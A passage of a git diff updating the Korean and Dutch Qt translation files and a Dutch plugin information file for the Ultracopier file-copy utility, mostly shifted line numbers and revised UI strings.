- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
- <translation>로그 따로 저장:</translation>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
- <translation>새로운 항목을 접수할 때 파일을 바로 작성합니다. 하지만 성능이 50% 정도 저하될 수 있습니다</translation>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation>로그 따로 저장:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
+ <location filename="../../../OptionDialog.ui" line="731"/>
<source>Synchronized log</source>
<translation>로그 동기화됨</translation>
</message>
@@ -777,11 +1012,11 @@ This version is compiled as version: %1.</source>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1058,42 @@ This version is compiled as version: %1.</source>
<translation>버전:</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
- <translation>복사 엔진</translation>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
+ <translation type="unfinished">복사 엔진</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation>언어</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation>리스너</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
- <translation>플러그인로더</translation>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished">플러그인 로더</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
- <translation>세션로더</translation>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
+ <translation type="unfinished">섹션 로더</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation>테마</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation>%1 파일 정보</translation>
</message>
@@ -871,126 +1111,134 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation>informations.xml 파일에 연결할 수 없습니다</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
<source>informations.xml not found into the plugin</source>
- <translation>플러그인에서 informations.xml 파일을 찾을 수 없습니다</translation>
+ <translation type="obsolete">플러그인에서 informations.xml 파일을 찾을 수 없습니다</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation>종속된 부분이 잘못되었습니다</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation>플러그인 %2에 대한 %1 종속성이 충족되지 않습니다</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation>%1 제거</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation>오류</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation>정보</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation>%1, %2 라인에서 문법 오류, %3 열: %4</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation>xml 파일을 위한 &quot;패키지&quot; 루트 태그를 찾을 수 없습니다</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation>중복된 플러그인 발견, 이미 호출되었습니다!</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
<source>English text missing into the informations.xml for the tag: %1</source>
- <translation>태그 표시를 위한 informations.xml 파일에서 누락된 영문 텍스트: %1</translation>
+ <translation type="obsolete">태그 표시를 위한 informations.xml 파일에서 누락된 영문 텍스트: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation>태그를 찾을 수 없음: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation>%2 버전에서 %1을 제거하시겠습니까?</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation>이전의 가져오기가 진행중입니다...</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation>Ultracopier 플러그인 열기</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation>Ultracopier (*.urc)</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation>플러그인 로더</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation>플러그인 열기 불가: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation>플러그인 내용을 불러올 수 없습니다. 확인해주십시오: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation>플러그인을 설치할 폴더를 생성할 수 없음:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
@@ -999,16 +1247,16 @@ since:%2</source>
since:%2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation>동일한 이름의 폴더가 존재합니다. 플러그인 설치 건너뛰기:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation>플러그인 컨태츠를 불러올 수 없습니다. 확인해주십시오</translation>
</message>
@@ -1016,44 +1264,44 @@ since:%2</translation>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation>메모리 할당 실패</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation>오류 작성</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation>메모리 사용량이 제한에 도달했습니다</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation>.xz 파일이 아닙니다</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation>.xz 헤더에서 지원되지 않는 옵션입니다</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation>파일이 손상되었습니다</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation>버그입니다!</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation>입력 데이터가 너무 짧습니다</translation>
</message>
@@ -1061,87 +1309,119 @@ since:%2</translation>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
- <translation>복사 리스너를 찾을 수 없습니다. 트레이 아이콘에서 우클릭하여 수동으로 복사하십시오.</translation>
+ <translation type="unfinished">복사 리스너를 찾을 수 없습니다. 트레이 아이콘에서 우클릭하여 수동으로 복사하십시오.</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
- <translation>정보</translation>
+ <translation type="unfinished">정보</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
- <translation>정보 검색중...</translation>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
+ <translation type="unfinished">정보 검색중...</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
- <translation>탐색기 복사/이동 자동 감지 안함</translation>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
- <translation>탐색기 복사/이동 부분 감지</translation>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
- <translation>탐색기 복사/이동 자동 감지</translation>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
- <translation>알림</translation>
+ <translation type="unfinished">알림</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
- <translation>트레이 아이콘에서 실행된 작동을 알 수가 없습니다!</translation>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
- <translation>&amp;정보/디버그 보고서</translation>
+ <translation type="unfinished">&amp;정보/디버그 보고서</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
- <translation>&amp;정보</translation>
+ <translation type="unfinished">&amp;정보</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
- <translation>&amp;끝내기</translation>
+ <translation type="unfinished">&amp;끝내기</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
- <translation>&amp;옵션</translation>
+ <translation type="unfinished">&amp;옵션</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
- <translation>복사/이동 &amp;추가</translation>
+ <translation type="unfinished">복사/이동 &amp;추가</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
- <translation>&amp;복사 추가</translation>
+ <translation type="unfinished">&amp;복사 추가</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
- <translation>&amp;전송 추가</translation>
+ <translation type="unfinished">&amp;전송 추가</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
- <translation>&amp;이동 추가</translation>
+ <translation type="unfinished">&amp;이동 추가</translation>
</message>
</context>
</TS>
diff --git a/plugins/Languages/nl/flag.png b/plugins/Languages/nl/flag.png
index 679b368..0d00e1a 100644
--- a/plugins/Languages/nl/flag.png
+++ b/plugins/Languages/nl/flag.png
Binary files differ
diff --git a/plugins/Languages/nl/informations.xml b/plugins/Languages/nl/informations.xml
index 486b384..f24488a 100644
--- a/plugins/Languages/nl/informations.xml
+++ b/plugins/Languages/nl/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to dutch. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to dutch. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>nl</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/nl/translation.ts b/plugins/Languages/nl/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/nl/translation.ts
+++ b/plugins/Languages/nl/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
